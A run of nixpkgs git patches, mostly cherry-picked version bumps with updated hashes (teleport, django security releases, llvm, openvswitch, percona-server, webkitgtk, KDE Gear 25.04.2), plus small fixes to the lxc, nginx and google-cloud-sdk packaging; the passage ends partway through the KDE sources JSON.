Diff: https://github.com/gravitational/teleport/compare/v17.4.8...v17.5.1
(cherry picked from commit b5fa3b319dd9bcb17ff1d279863e571189b443df)
---
 pkgs/by-name/te/teleport/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/te/teleport/package.nix b/pkgs/by-name/te/teleport/package.nix
index 4cce72857609..58a6caf352dc 100644
--- a/pkgs/by-name/te/teleport/package.nix
+++ b/pkgs/by-name/te/teleport/package.nix
@@ -21,9 +21,9 @@
 
   withRdpClient ? true,
 
-  version ? "17.4.8",
-  hash ? "sha256-BMiV4xMDy/21B2kl/vkXD14LKQ9t/qj6K8HFnU9Td7w=",
-  vendorHash ? "sha256-/JP0/4fFdCuDFLQ+mh7CQNMJ4n3yDNyvnLfbmRl/TBA=",
+  version ? "17.5.1",
+  hash ? "sha256-+9Oit7GAUTNv5Z8ZDOuBBRnVvtdA9N0X97UJbLILX50=",
+  vendorHash ? "sha256-yeouUrLMfkKSYnS9va59cYWnGCvQatQQrNa1DuHQMug=",
   extPatches ? [ ],
   cargoHash ? "sha256-qz8gkooQTuBlPWC4lHtvBQpKkd+nEZ0Hl7AVg9JkPqs=",
   pnpmHash ? "sha256-TZb1nABTbR+SPgykc/KMRkHW7oLawem6KWmdOFAbLbk=",

From 4506c7f516c208c6ca9b37d4291eb7a521fb89c7 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Thu, 5 Jun 2025 04:58:06 +0200
Subject: [PATCH 0621/4511] python3Packages.django_5_1: 5.1.9 -> 5.1.10

https://docs.djangoproject.com/en/5.1/releases/5.1.10/
https://www.djangoproject.com/weblog/2025/jun/04/security-releases/

Fixes: CVE-2025-48432
(cherry picked from commit 00d8ed7ae2c235763b514308104fa803eecc24ec)
---
 pkgs/development/python-modules/django/5.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/django/5.nix b/pkgs/development/python-modules/django/5.nix
index e65c39cf0549..e172fb2d652d 100644
--- a/pkgs/development/python-modules/django/5.nix
+++ b/pkgs/development/python-modules/django/5.nix
@@ -44,7 +44,7 @@
 
 buildPythonPackage rec {
   pname = "django";
-  version = "5.1.9";
+  version = "5.1.10";
   pyproject = true;
 
   disabled = pythonOlder "3.10";
@@ -53,7 +53,7 @@ buildPythonPackage rec {
     owner = "django";
     repo = "django";
     rev = "refs/tags/${version}";
-    hash = "sha256-uBP6MoVjPUtNu6KxLjaYmKTN42JIUCTJSuSnQWSxyQU=";
+    hash = "sha256-+VsTrlff1eBGaVBqRHNOivVXqBkfjZvY2dzawE1sOOQ=";
   };
 
   patches =

From d5f0f4072cca6711614dcd281d10680494428bcb Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Thu, 5 Jun 2025 05:05:07 +0200
Subject: [PATCH 0622/4511] python3Packages.django_4: 4.2.21 -> 4.2.22

https://docs.djangoproject.com/en/4.2/releases/4.2.22/
(cherry picked from commit 16b903fe2f4392de109f32115571e48f42f65444)
---
 pkgs/development/python-modules/django/4.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/django/4.nix b/pkgs/development/python-modules/django/4.nix
index d3fe21dfcd5c..9630b88e51c8 100644
--- a/pkgs/development/python-modules/django/4.nix
+++ b/pkgs/development/python-modules/django/4.nix
@@ -45,7 +45,7 @@
 
 buildPythonPackage rec {
   pname = "django";
-  version = "4.2.21";
+  version = "4.2.22";
   format = "pyproject";
 
   disabled = pythonOlder "3.8";
@@ -54,7 +54,7 @@ buildPythonPackage rec {
     owner = "django";
     repo = "django";
     rev = "refs/tags/${version}";
-    hash = "sha256-GiOPIuYJAkMPW8JccJvFEoQi36rCmySHeLB7mAmg6CM=";
+    hash = "sha256-+kq3GF2Q8uaa+UsZK5uWQIyW9tSjfKAE+yiuDTSVwwA=";
   };
 
   patches =

From a774d525e9ec6024b10b1f7dca3d20229e0dadb3 Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Mon, 2 Jun 2025 20:35:17 -0700
Subject: [PATCH 0623/4511] llvmPackages_git: 21.0.0-unstable-2025-05-25 ->
 21.0.0-unstable-2025-06-06

(cherry picked from commit 154cedf1f454aeabafc9f443b18f3701722c5607)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 0b04e572e881..1762da6b16a8 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -33,9 +33,9 @@ let
     "19.1.7".officialRelease.sha256 = "sha256-cZAB5vZjeTsXt9QHbP5xluWNQnAHByHtHnAhVDV0E6I=";
     "20.1.5".officialRelease.sha256 = "sha256-WKfY+VvAsZEEc0xYgF6+MsXDXZz7haMU6bxqmUpaHuQ=";
     "21.0.0-git".gitRelease = {
-      rev = "0004c37c1cd55c461bbf24b83165d11f49be1397";
-      rev-version = "21.0.0-unstable-2025-05-25";
-      sha256 = "sha256-n8WFnYNb46kK7MEh7XF/Psdbn+KJQFKs/LQBZxCklY4=";
+      rev = "9e2684e4cfb0a7e30d5e49f812127d07cdda600d";
+      rev-version = "21.0.0-unstable-2025-06-06";
+      sha256 = "sha256-OtIRNU+AuUaPhAsd0Kn0odAdPJhkV/139+DR6Ls0XrE=";
     };
   } // llvmVersions;
 

From 8565f96296a7f9f5f6153519e49f78f0475e15ad Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 3 Jun 2025 15:13:26 +0000
Subject: [PATCH 0624/4511] openvswitch: 3.5.0 -> 3.5.1

(cherry picked from commit f9f715bf71897164b216a43a0afe1733afbdd8fe)
---
 pkgs/by-name/op/openvswitch/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/op/openvswitch/package.nix b/pkgs/by-name/op/openvswitch/package.nix
index fc95eed3e8bc..e9fa46d811e1 100644
--- a/pkgs/by-name/op/openvswitch/package.nix
+++ b/pkgs/by-name/op/openvswitch/package.nix
@@ -30,13 +30,13 @@
 
 stdenv.mkDerivation rec {
   pname = if withDPDK then "openvswitch-dpdk" else "openvswitch";
-  version = "3.5.0";
+  version = "3.5.1";
 
   src = fetchFromGitHub {
     owner = "openvswitch";
     repo = "ovs";
     tag = "v${version}";
-    hash = "sha256-fEntEZHmQX78XZZic9hFr07PWC2RQIpuCfb1FYX3hd0=";
+    hash = "sha256-iiFpX4w6vdsRxjhRcxXTTtSAb8WPwg1afqwgBpzjhoA=";
   };
 
   outputs = [

From 58c0ff2a0a8a17b1bc422f43eb85f44a3cc399d0 Mon Sep 17 00:00:00 2001
From: Saturn745 <gitcommits.8lvon@passinbox.com>
Date: Mon, 26 May 2025 19:53:27 -0700
Subject: [PATCH 0625/4511] lxc: fix nvidia runtime hook

Fixes the NVIDIA runtime hook by including
https://github.com/lxc/lxc/pull/4536

(cherry picked from commit ee8a72746ad0c595ac809d0393cc31ddd3bd7c6a)
---
 pkgs/by-name/lx/lxc/package.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/pkgs/by-name/lx/lxc/package.nix b/pkgs/by-name/lx/lxc/package.nix
index 5c14f5f64172..14b13e73527d 100644
--- a/pkgs/by-name/lx/lxc/package.nix
+++ b/pkgs/by-name/lx/lxc/package.nix
@@ -17,6 +17,7 @@
   pkg-config,
   systemd,
 
+  fetchpatch,
   nix-update-script,
 }:
 
@@ -57,6 +58,13 @@ stdenv.mkDerivation (finalAttrs: {
     # Fix hardcoded path of lxc-user-nic
     # This is needed to use unprivileged containers
     ./user-nic.diff
+
+    # Fixes https://github.com/zabbly/incus/issues/81
+    (fetchpatch {
+      name = "4536.patch";
+      url = "https://patch-diff.githubusercontent.com/raw/lxc/lxc/pull/4536.patch";
+      hash = "sha256-yEqK9deO2MhfPROPfBw44Z752Mc5bR8DBKl1KrGC+5c=";
+    })
   ];
 
   mesonFlags = [

From 4579a816f4e70267b413dabc2a512aa4e485ef3d Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Mon, 2 Jun 2025 17:48:19 +0200
Subject: [PATCH 0626/4511] nixos/nginx: fix type of mapHashBucketSize

While the default is indeed 32/64/128, the option accepts any `size`[1]
including values >128, as observed in a customer project.

[1] https://nginx.org/en/docs/http/ngx_http_map_module.html

(cherry picked from commit 4a2a4193f9f3ad4e62c89a448a79a83ac876fca4)
---
 nixos/modules/services/web-servers/nginx/default.nix | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/nixos/modules/services/web-servers/nginx/default.nix b/nixos/modules/services/web-servers/nginx/default.nix
index bf658564515c..cd4f404a58ee 100644
--- a/nixos/modules/services/web-servers/nginx/default.nix
+++ b/nixos/modules/services/web-servers/nginx/default.nix
@@ -1002,17 +1002,14 @@ in
       };
 
       mapHashBucketSize = mkOption {
-        type = types.nullOr (
-          types.enum [
-            32
-            64
-            128
-          ]
-        );
+        type = types.nullOr (types.ints.positive);
         default = null;
         description = ''
           Sets the bucket size for the map variables hash tables. Default
           value depends on the processor’s cache line size.
+
+          Refer to [the nginx docs on hashes](https://nginx.org/en/docs/hash.html)
+          for more information.
         '';
       };
 

From 88d9b8655792e5a6445e317f9d10a276dcb9af58 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 3 Jun 2025 11:21:43 +0000
Subject: [PATCH 0627/4511] percona-server: 8.4.4-4 -> 8.4.5-5

(cherry picked from commit 412521436adb14f46e6bc1cd5ca6a7782ea76b91)
---
 pkgs/servers/sql/percona-server/8_4.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/percona-server/8_4.nix b/pkgs/servers/sql/percona-server/8_4.nix
index 3d54b99970cc..5803fd2a6872 100644
--- a/pkgs/servers/sql/percona-server/8_4.nix
+++ b/pkgs/servers/sql/percona-server/8_4.nix
@@ -50,11 +50,11 @@ assert !(withJemalloc && withTcmalloc);
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "percona-server";
-  version = "8.4.4-4";
+  version = "8.4.5-5";
 
   src = fetchurl {
     url = "https://downloads.percona.com/downloads/Percona-Server-${lib.versions.majorMinor finalAttrs.version}/Percona-Server-${finalAttrs.version}/source/tarball/percona-server-${finalAttrs.version}.tar.gz";
-    hash = "sha256-10QYJQeCY3pFHmtBIQ72rsagicNJgHvNtbLPvjjUyg4=";
+    hash = "sha256-i0f/Ndwqbn6qyqLSBK5FbBW12ZUzYMy2JQ2o1o2Y9q8=";
   };
 
   nativeBuildInputs = [

From a29b809b3fc06891a3a5a414f90927a56ab60d1c Mon Sep 17 00:00:00 2001
From: Bobby Rong <rjl931189261@126.com>
Date: Tue, 3 Jun 2025 00:07:28 +0800
Subject: [PATCH 0628/4511] =?UTF-8?q?webkitgtk=5F6=5F0:=202.48.2=20?=
 =?UTF-8?q?=E2=86=92=202.48.3?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://webkitgtk.org/2025/05/28/webkitgtk2.48.3-released.html
https://github.com/WebKit/WebKit/compare/webkitgtk-2.48.2...webkitgtk-2.48.3
(cherry picked from commit b62b7136cb8dad6b7aeedf8c6b24f86cc9cb62e1)
---
 pkgs/development/libraries/webkitgtk/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/webkitgtk/default.nix b/pkgs/development/libraries/webkitgtk/default.nix
index 5b91295cf992..cdba05f195ad 100644
--- a/pkgs/development/libraries/webkitgtk/default.nix
+++ b/pkgs/development/libraries/webkitgtk/default.nix
@@ -80,7 +80,7 @@
 # https://webkitgtk.org/2024/10/04/webkitgtk-2.46.html recommends building with clang.
 clangStdenv.mkDerivation (finalAttrs: {
   pname = "webkitgtk";
-  version = "2.48.2";
+  version = "2.48.3";
   name = "${finalAttrs.pname}-${finalAttrs.version}+abi=${
     if lib.versionAtLeast gtk3.version "4.0" then
       "6.0"
@@ -100,7 +100,7 @@ clangStdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://webkitgtk.org/releases/webkitgtk-${finalAttrs.version}.tar.xz";
-    hash = "sha256-7Fj238JdOzYDiOGS+GUGjWmqsJtNffAh+Q4xTS+lTzc=";
+    hash = "sha256-1NxZcPD8alKf9/1nvL+rK7tekb54my6SeWQLMhengsM=";
   };
 
   patches = lib.optionals clangStdenv.hostPlatform.isLinux [

From 4d97194ab2e3a3cff215e3d4c208388298caacd9 Mon Sep 17 00:00:00 2001
From: h0nIg <h0nIg@users.noreply.github.com>
Date: Wed, 4 Jun 2025 11:22:32 +0200
Subject: [PATCH 0629/4511] google-cloud-sdk: docu

(cherry picked from commit 1f5f844763c9b2895173d1f23e171fe4692df54c)
---
 pkgs/tools/admin/google-cloud-sdk/default.nix | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/pkgs/tools/admin/google-cloud-sdk/default.nix b/pkgs/tools/admin/google-cloud-sdk/default.nix
index 04557b36753b..13134c7a4112 100644
--- a/pkgs/tools/admin/google-cloud-sdk/default.nix
+++ b/pkgs/tools/admin/google-cloud-sdk/default.nix
@@ -21,12 +21,11 @@
 }:
 
 let
+  # include a compatible pyopenssl version: https://github.com/NixOS/nixpkgs/issues/379291
   # remove ASAP: https://github.com/googleapis/google-api-python-client/issues/2554
   pythonCustom = python3.override {
     self = pythonCustom;
     packageOverrides = _: super: {
-      # include a compatible pyopenssl version: https://github.com/NixOS/nixpkgs/issues/379291
-      # remove ASAP: https://github.com/googleapis/google-api-python-client/issues/2554
       pyopenssl = super.pyopenssl.overridePythonAttrs (old: rec {
         version = "24.2.1";
         src = old.src.override {

From 6b1a3e1737e74c9ba5f0b4c153ed5a013bb99726 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 5 Jun 2025 17:36:54 +0300
Subject: [PATCH 0630/4511] kdePackages: Gear 25.04.1 -> 25.04.2

(cherry picked from commit 0ad7514a44be58877d5d09953790988b0c19a05f)
---
 pkgs/kde/generated/sources/gear.json | 1500 +++++++++++++-------------
 1 file changed, 750 insertions(+), 750 deletions(-)

diff --git a/pkgs/kde/generated/sources/gear.json b/pkgs/kde/generated/sources/gear.json
index 61c58d81b9b7..63cd4ff5e2c4 100644
--- a/pkgs/kde/generated/sources/gear.json
+++ b/pkgs/kde/generated/sources/gear.json
@@ -1,1252 +1,1252 @@
 {
   "accessibility-inspector": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/accessibility-inspector-25.04.1.tar.xz",
-    "hash": "sha256-l66J7x3pofI4OH5aoEfnuItcidKDIdzkAG3aN9Vese4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/accessibility-inspector-25.04.2.tar.xz",
+    "hash": "sha256-UI4+SfIwU6d3DgjGMgviG7LSH4h1kJghHhWBMjLQoF4="
   },
   "akonadi": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/akonadi-25.04.1.tar.xz",
-    "hash": "sha256-6bseirGeJDtnTFHZuQcyCAhz2dNdYgHITwuCHmL4rA4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-25.04.2.tar.xz",
+    "hash": "sha256-xGiaboDU+LdE4xRZ52jZdwRMvTuPtC0U7Rz357rK5S0="
   },
   "akonadi-calendar": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/akonadi-calendar-25.04.1.tar.xz",
-    "hash": "sha256-gyMRzH0HsUmW3Vd5s5x5k/LuMEqojxIxd1xCKPcK5e0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-calendar-25.04.2.tar.xz",
+    "hash": "sha256-KPG53xqhpWYLuTJjcAbO5aYhH1FLKsUjbOhgplyQKIQ="
   },
   "akonadi-calendar-tools": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/akonadi-calendar-tools-25.04.1.tar.xz",
-    "hash": "sha256-vTmAcDRRKZzpLy5xswAQdA+ihGzMaVG/IBeYxr398I4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-calendar-tools-25.04.2.tar.xz",
+    "hash": "sha256-Cv6rmPGvnoerYYDfde8Rnqjy1Fo4cKLMBraM7cQm/34="
   },
   "akonadi-contacts": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/akonadi-contacts-25.04.1.tar.xz",
-    "hash": "sha256-ODhuGwd/itiWt5CDwroMcFWJINhspt3EWpaoiJx3F9s="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-contacts-25.04.2.tar.xz",
+    "hash": "sha256-vo8bRbvP1+95+0st80qeC46HQvrxlaiznAXH7g5jcE0="
   },
   "akonadi-import-wizard": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/akonadi-import-wizard-25.04.1.tar.xz",
-    "hash": "sha256-FGLChbfnyWtEbnP6KFWkYCiMI4h5K6BGa0Lp3ARR+gg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-import-wizard-25.04.2.tar.xz",
+    "hash": "sha256-EFBCZ5MCRK09QJ+20BkUVhMejLUYF0sFOAGmzJrvegE="
   },
   "akonadi-mime": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/akonadi-mime-25.04.1.tar.xz",
-    "hash": "sha256-k04RZvBw2SYve/LuVbECszJMNJvphkNRIpc+S8pIj9I="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-mime-25.04.2.tar.xz",
+    "hash": "sha256-2x5PkQXO5qr67x1cr1q8mSborRqLYDidEyGmSLzRYWg="
   },
   "akonadi-search": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/akonadi-search-25.04.1.tar.xz",
-    "hash": "sha256-a8mAcgTyTnCRSknp5hCHadm2ClTdwRlZNjS4c4tZbkk="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadi-search-25.04.2.tar.xz",
+    "hash": "sha256-lfY3Q9BQzLOpYo39ybWicWWNRePVlEyxwTH30lTClIY="
   },
   "akonadiconsole": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/akonadiconsole-25.04.1.tar.xz",
-    "hash": "sha256-DxGPjGo9KPCiqOB/q41Ycj+VX364YMuqsOaIymu5L/I="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/akonadiconsole-25.04.2.tar.xz",
+    "hash": "sha256-kPHinVCimfphGhFQnIPhks8shv7MpQeXaYzGwIRnImY="
   },
   "akregator": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/akregator-25.04.1.tar.xz",
-    "hash": "sha256-/Dgp+jJpNis88umxe4wNRSo0JO+5ez/dXk6GmCvdBSw="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/akregator-25.04.2.tar.xz",
+    "hash": "sha256-f9x4b0DgMDUvNT6g+4/PA5NoK4JPdgWqiV1m14hFWjk="
   },
   "alligator": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/alligator-25.04.1.tar.xz",
-    "hash": "sha256-h6aoG65uOmjlHnXmkM2uYLl73TfuO/XoKx5Dig2PA8s="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/alligator-25.04.2.tar.xz",
+    "hash": "sha256-sIt07uSQ/4CL+5LAPwlAUSJOMUfcpVO/KECaxL9oLwo="
   },
   "analitza": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/analitza-25.04.1.tar.xz",
-    "hash": "sha256-PgyN+AC2llXD1SiXCz+/5vr4JIth0GmsGo13VVOB73A="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/analitza-25.04.2.tar.xz",
+    "hash": "sha256-Rxd+CoQA4QhJG3abgl70mQ892XszSO7Bgto+ZeVwTbc="
   },
   "angelfish": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/angelfish-25.04.1.tar.xz",
-    "hash": "sha256-ppnnwg8H/m3FnzX/VD2Rq09/wS5aTN0tF3y+sBu5vck="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/angelfish-25.04.2.tar.xz",
+    "hash": "sha256-0tp6/LtJXCR8vTfNBBSDnDeKOLfhvsuK/o0NxHOXHy8="
   },
   "arianna": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/arianna-25.04.1.tar.xz",
-    "hash": "sha256-STltBCDrulO03LG0546Ti+wJIR9TBmO+GKsMhkpSlRQ="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/arianna-25.04.2.tar.xz",
+    "hash": "sha256-II0jVmwqLL4CwWBBMhAkw4ZOdLF3zRO2CBLRsjpMVw0="
   },
   "ark": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ark-25.04.1.tar.xz",
-    "hash": "sha256-6dImfLuNonhuhFbBJgesWqN4WJ6BEVnlC1xmffUUOn8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ark-25.04.2.tar.xz",
+    "hash": "sha256-VKN0wvBv9lq+V3hlp/wlId5w8Q9DizmfgbvjwN1L5oo="
   },
   "artikulate": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/artikulate-25.04.1.tar.xz",
-    "hash": "sha256-Co+In+deR6dN9BD82yvIYGarxx8co7lKVya1EwzlY80="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/artikulate-25.04.2.tar.xz",
+    "hash": "sha256-hRY4dkTYpZn5i/zw0O5Urz5uDtIXrKBdVwKcxZ2XV3o="
   },
   "audex": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/audex-25.04.1.tar.xz",
-    "hash": "sha256-iB4SZ74dHNrgPQw+ehtxwl/junLD5FgttgSK7HRo6cg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/audex-25.04.2.tar.xz",
+    "hash": "sha256-N3gIXrpyoKpcb4iwbLHSsAsfIIGLhFHYQkmYqg3VyMo="
   },
   "audiocd-kio": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/audiocd-kio-25.04.1.tar.xz",
-    "hash": "sha256-eyLIGQea8M4M2QWFxKYBaRODKLZ3fnEN16Ncf75MrDw="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/audiocd-kio-25.04.2.tar.xz",
+    "hash": "sha256-PXt8+3Grk+mouYWfnVN26+GSqSMkqFm6YYOYJUCcJcs="
   },
   "audiotube": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/audiotube-25.04.1.tar.xz",
-    "hash": "sha256-G9QmhqNyVmmm7UahiulCAIWINHEPDc7mIeoWQ0m4CBY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/audiotube-25.04.2.tar.xz",
+    "hash": "sha256-uD4k1UzvldkPnOG+pUJsjQC5OGcJjm02Z4nrTfrrD+o="
   },
   "baloo-widgets": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/baloo-widgets-25.04.1.tar.xz",
-    "hash": "sha256-170d0vrFcIO4AQNrcLeOeu8xKpdszEvCJ+mKlz/wiZM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/baloo-widgets-25.04.2.tar.xz",
+    "hash": "sha256-mXsqG48E8raw4o7if83BGYSX4/rcBaOvYmd9HqZEavA="
   },
   "blinken": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/blinken-25.04.1.tar.xz",
-    "hash": "sha256-fw4f9JiM6QYTHATQRh7aNjJw+lzpKb1g0epEXw5XDL8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/blinken-25.04.2.tar.xz",
+    "hash": "sha256-DjHKvWNAtv3+XHwtclss64igGtVLUNeQwsPQKNLEJfg="
   },
   "bomber": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/bomber-25.04.1.tar.xz",
-    "hash": "sha256-2zlvlKhg5cM0y0aKvrundLK55H1/xx+5nj11z7GJSLQ="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/bomber-25.04.2.tar.xz",
+    "hash": "sha256-upkpVI1r1h9VtMHuUmVxZESeeEPCeXR5R1QrNXo3exQ="
   },
   "bovo": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/bovo-25.04.1.tar.xz",
-    "hash": "sha256-ldrSBRj9Emw2MiKvODCHHL6JHe/2SAW72IKYR7vZk3M="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/bovo-25.04.2.tar.xz",
+    "hash": "sha256-6XT+eHMuWe0qL3AtjJ0S7IwIo/DxbC3vYfVWRkufnR4="
   },
   "calendarsupport": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/calendarsupport-25.04.1.tar.xz",
-    "hash": "sha256-Wn4Le5yNcnf8GJnuFT9MXzrLZP98cm63QovHgA7JTK0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/calendarsupport-25.04.2.tar.xz",
+    "hash": "sha256-/UuiVAfQQ7V2Qk8HipjyokJcum5DwmzOobZuTm6GAag="
   },
   "calindori": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/calindori-25.04.1.tar.xz",
-    "hash": "sha256-LRvFihqCRSY29PRrjTF4o9RIe1bNMAkL3dIleOcBmcY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/calindori-25.04.2.tar.xz",
+    "hash": "sha256-9ps4/+qdp5Dj4SwaSVLdeaT9o0Te8Tjzx5xRLiGsCoA="
   },
   "calligra": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/calligra-25.04.1.tar.xz",
-    "hash": "sha256-+B6DK5tWLTniF3tFVpYIvpTuA7rgYaXnwn6y3Asr0+g="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/calligra-25.04.2.tar.xz",
+    "hash": "sha256-DAbB30IA4+UWeCmlKQdVP4PY3lDg6kXCaJj+qcGFC0I="
   },
   "cantor": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/cantor-25.04.1.tar.xz",
-    "hash": "sha256-jpa5BEsAqhH71gwvhII4oU3pR1AcZXJawwksT/rXqLY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/cantor-25.04.2.tar.xz",
+    "hash": "sha256-jLdEsY2iLeQxWzAPiLPlgOsq9VmRgYenO3izlIYVvnQ="
   },
   "cervisia": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/cervisia-25.04.1.tar.xz",
-    "hash": "sha256-t2BYLgJSK/VJEKNj4PvN7LO4UVF/+o/fFNs4+wQm2oQ="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/cervisia-25.04.2.tar.xz",
+    "hash": "sha256-ay56wsQPbU6w5o6EfvYkl/25xRBJKiAtzjZvPwM6H60="
   },
   "colord-kde": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/colord-kde-25.04.1.tar.xz",
-    "hash": "sha256-5L7CRVhdGipFjixBZJA/qYGv5KX8kFzN+jVcSCnxpL0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/colord-kde-25.04.2.tar.xz",
+    "hash": "sha256-P4R/lS/zT+mOm5w0dwOYYLldPsB5pEIauCabbuipFFk="
   },
   "dolphin": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/dolphin-25.04.1.tar.xz",
-    "hash": "sha256-HaMHZ/YteO3JtVYwXJiqyJ4GMknkMnNdLdR40yLkWt0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/dolphin-25.04.2.tar.xz",
+    "hash": "sha256-jIPEk3t7R5Nbd47NAafUHaBibngT2mM0UVfVfQhyl/A="
   },
   "dolphin-plugins": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/dolphin-plugins-25.04.1.tar.xz",
-    "hash": "sha256-JLY/9GW/4NozfNqupIuPBaj5WdEQ/2E8hWjApDfOUnc="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/dolphin-plugins-25.04.2.tar.xz",
+    "hash": "sha256-tXkl48KJ2cHBuX0pte/d9gCLpPqgelY+jJXoML4t2kE="
   },
   "dragon": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/dragon-25.04.1.tar.xz",
